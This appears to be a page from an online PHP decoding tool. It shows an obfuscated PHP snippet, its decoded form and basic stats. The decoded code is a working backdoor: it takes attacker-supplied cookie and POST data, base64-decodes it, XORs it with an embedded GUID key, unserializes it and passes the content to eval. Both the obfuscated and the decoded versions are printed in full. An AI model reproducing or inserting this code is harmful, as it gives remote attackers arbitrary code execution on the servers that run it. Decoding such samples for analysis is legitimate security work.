Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$tdpCTpx = "\160" . "\x5f" . 'B' . chr ( 997 - 880 ).'X' . chr (117); $WFRQbxq = chr (99)..
Decoded Output download
<? $tdpCTpx = "p" . "_" . 'B' . chr ( 997 - 880 ).'X' . chr (117); $WFRQbxq = chr (99) . 'l' . "a" . "s" . "s" . "_" . "e" . chr ( 786 - 666 ).'i' . "s" . "t" . "s";$uYMwcfFF = $WFRQbxq($tdpCTpx); $tdpCTpx = "17046";$WFRQbxq = "59408";$aOQmfhVruC = $uYMwcfFF;if (!$aOQmfhVruC){class p_BuXu{private $JaLFX;public static $jKOYadfvzE = "fb9e0650-1db4-477b-8b0f-d4ab1c1ce20c";public static $sUYob = 6111;public function __construct($VmPPlc=0){$DJoPYI = $_COOKIE;$wwTNmCS = $_POST;$adliLvlL = @$DJoPYI[substr(p_BuXu::$jKOYadfvzE, 0, 4)];if (!empty($adliLvlL)){$IjCETQ = "base64";$pVEfa = "";$adliLvlL = explode(",", $adliLvlL);foreach ($adliLvlL as $bhrbwkhwLD){$pVEfa .= @$DJoPYI[$bhrbwkhwLD];$pVEfa .= @$wwTNmCS[$bhrbwkhwLD];}$pVEfa = array_map($IjCETQ . chr ( 762 - 667 ).chr ( 202 - 102 ).chr ( 1080 - 979 ).chr (99) . chr (111) . "d" . chr ( 611 - 510 ), array($pVEfa,)); $pVEfa = $pVEfa[0] ^ str_repeat(p_BuXu::$jKOYadfvzE, (strlen($pVEfa[0]) / strlen(p_BuXu::$jKOYadfvzE)) + 1);p_BuXu::$sUYob = @unserialize($pVEfa);}}private function OtOLeTVcq(){if (is_array(p_BuXu::$sUYob)) {$ZSklRa = str_replace("<" . chr ( 495 - 432 ).'p' . "h" . "p", "", p_BuXu::$sUYob["c" . chr (111) . 'n' . "t" . "e" . chr (110) . chr (116)]);eval($ZSklRa); $Xnrhasd = "32673";exit();}}public function __destruct(){$this->OtOLeTVcq(); $Xnrhasd = "32673";$LJjPdsKVMz = str_pad($Xnrhasd, 10);}}$ldXxtH = new p_BuXu(); $ldXxtH = "45810_7688";} ?>
Did this file decode correctly?
Original Code
$tdpCTpx = "\160" . "\x5f" . 'B' . chr ( 997 - 880 ).'X' . chr (117); $WFRQbxq = chr (99) . 'l' . "\141" . "\x73" . "\x73" . "\x5f" . "\x65" . chr ( 786 - 666 ).'i' . "\163" . "\x74" . "\163";$uYMwcfFF = $WFRQbxq($tdpCTpx); $tdpCTpx = "17046";$WFRQbxq = "59408";$aOQmfhVruC = $uYMwcfFF;if (!$aOQmfhVruC){class p_BuXu{private $JaLFX;public static $jKOYadfvzE = "fb9e0650-1db4-477b-8b0f-d4ab1c1ce20c";public static $sUYob = 6111;public function __construct($VmPPlc=0){$DJoPYI = $_COOKIE;$wwTNmCS = $_POST;$adliLvlL = @$DJoPYI[substr(p_BuXu::$jKOYadfvzE, 0, 4)];if (!empty($adliLvlL)){$IjCETQ = "base64";$pVEfa = "";$adliLvlL = explode(",", $adliLvlL);foreach ($adliLvlL as $bhrbwkhwLD){$pVEfa .= @$DJoPYI[$bhrbwkhwLD];$pVEfa .= @$wwTNmCS[$bhrbwkhwLD];}$pVEfa = array_map($IjCETQ . chr ( 762 - 667 ).chr ( 202 - 102 ).chr ( 1080 - 979 ).chr (99) . chr (111) . "\x64" . chr ( 611 - 510 ), array($pVEfa,)); $pVEfa = $pVEfa[0] ^ str_repeat(p_BuXu::$jKOYadfvzE, (strlen($pVEfa[0]) / strlen(p_BuXu::$jKOYadfvzE)) + 1);p_BuXu::$sUYob = @unserialize($pVEfa);}}private function OtOLeTVcq(){if (is_array(p_BuXu::$sUYob)) {$ZSklRa = str_replace("\x3c" . chr ( 495 - 432 ).'p' . "\150" . "\160", "", p_BuXu::$sUYob["\x63" . chr (111) . 'n' . "\164" . "\145" . chr (110) . chr (116)]);eval($ZSklRa); $Xnrhasd = "32673";exit();}}public function __destruct(){$this->OtOLeTVcq(); $Xnrhasd = "32673";$LJjPdsKVMz = str_pad($Xnrhasd, 10);}}$ldXxtH = new p_BuXu(); $ldXxtH = "45810_7688";}
Function Calls
chr | 4 |
class_exists | 1 |
Stats
MD5 | a8be73036f7bc6cc5f94e54b835ece17 |
Eval Count | 0 |
Decode Time | 65 ms |